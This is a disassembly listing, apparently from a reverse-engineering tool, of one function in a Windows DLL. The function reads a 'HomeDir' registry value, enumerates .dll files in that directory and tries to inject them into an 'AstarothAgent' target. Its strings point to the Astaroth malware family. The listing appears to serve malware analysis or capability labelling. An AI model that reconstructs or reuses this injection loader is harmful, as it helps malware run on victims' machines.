Function at 0x10001ee0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10005382
mov eax, dword fs:[0]
push eax
sub esp, 0x1f4
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1cc], 0
push 0xc
call fcn.100044f1
add esp, 4
mov dword [ebp - 0x18c], eax
mov dword [ebp - 4], 0
cmp dword [ebp - 0x18c], 0
je 0x10001f64
xor eax, eax
mov ecx, dword [ebp - 0x18c]
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
push 0
push 0x1000654c
push 0x80000001
mov ecx, dword [ebp - 0x18c]
call fcn.10001450
mov dword [ebp - 0x19c], eax
jmp 0x10001f6e
mov dword [ebp - 0x19c], 0
mov edx, dword [ebp - 0x19c]
mov dword [ebp - 0x1b0], edx
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 0
je 0x10002222
push 0
push str.HomeDir
lea ecx, [ebp - 0x28]
push ecx
mov ecx, dword [ebp - 0x198]
call fcn.100014a0
mov dword [ebp - 4], 1
cmp dword [ebp - 0x18], 0
jne 0x10001fc9
mov dword [ebp - 0x1a0], 1
jmp 0x10001fd3
mov dword [ebp - 0x1a0], 0
mov dl, byte [ebp - 0x1a0]
mov byte [ebp - 0x181], dl
movzx eax, byte [ebp - 0x181]
test eax, eax
jne 0x100021b4
push 0x140
push 0
lea ecx, [ebp - 0x180]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push str..dll
lea edx, [ebp - 0x28]
push edx
lea eax, [ebp - 0x1e8]
push eax
call fcn.10002a70
add esp, 0xc
mov dword [ebp - 0x1b4], eax
mov ecx, dword [ebp - 0x1b4]
mov dword [ebp - 0x190], ecx
mov edx, dword [ebp - 0x190]
mov dword [ebp - 0x1a8], edx
mov eax, dword [ebp - 0x190]
cmp dword [eax + 0x14], 0xf
jbe 0x10002052
mov dword [ebp - 0x1a4], 1
jmp 0x1000205c
mov dword [ebp - 0x1a4], 0
mov cl, byte [ebp - 0x1a4]
mov byte [ebp - 0x182], cl
movzx edx, byte [ebp - 0x182]
test edx, edx
je 0x1000208d
mov eax, dword [ebp - 0x190]
mov ecx, dword [eax]
mov dword [ebp - 0x1b8], ecx
mov edx, dword [ebp - 0x1b8]
mov dword [ebp - 0x1a8], edx
mov eax, dword [ebp - 0x1a8]
mov dword [ebp - 0x1bc], eax
mov ecx, dword [ebp - 0x1bc]
mov dword [ebp - 0x1c0], ecx
push 0
push 0
push 0
lea edx, [ebp - 0x180]
push edx
push 0
mov eax, dword [ebp - 0x1c0]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileExA]
mov dword [ebp - 0x194], eax
lea ecx, [ebp - 0x1e8]
call fcn.10001690
cmp dword [ebp - 0x194], 0xffffffff
je 0x100021b4
push 0x10006570
lea ecx, [ebp - 0x28]
push ecx
lea edx, [ebp - 0x200]
push edx
call fcn.10002a70
add esp, 0xc
mov dword [ebp - 0x1c4], eax
mov eax, dword [ebp - 0x1c4]
mov dword [ebp - 0x1c8], eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x154]
push ecx
mov edx, dword [ebp - 0x1c8]
push edx
lea eax, [ebp - 0x40]
push eax
call fcn.10002b60
add esp, 0xc
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x200]
call fcn.10001690
push 0
push str.AstarothAgent
lea ecx, [ebp - 0x40]
call fcn.10002620
cmp eax, 0xffffffff
jne 0x1000217f
lea ecx, [ebp - 0x40]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.10001d70
add esp, 8
mov byte [ebp - 0x183], al
movzx eax, byte [ebp - 0x183]
test eax, eax
jne 0x1000217f
push 0x10
push str.ERROR
push str.Astaroth_can_t_inject_dll_
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x40]
call fcn.10001690
lea ecx, [ebp - 0x180]
push ecx
mov edx, dword [ebp - 0x194]
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x100020df
mov eax, dword [ebp - 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 0x198]
mov dword [ebp - 0x188], ecx
cmp dword [ebp - 0x188], 0
je 0x10002209
mov edx, dword [ebp - 0x1d0]
mov dword [ebp - 0x1ac], edx
mov ecx, dword [ebp - 0x188]
call fcn.10001480
mov eax, 1
and eax, 1
je 0x100021fb
push 0xc
mov ecx, dword [ebp - 0x188]
push ecx
call fcn.10004526
add esp, 8
mov edx, dword [ebp - 0x188]
mov dword [ebp - 0x1ac], edx
jmp 0x10002213
mov dword [ebp - 0x1ac], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.10001690
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100044e3
mov esp, ebp
pop ebp
ret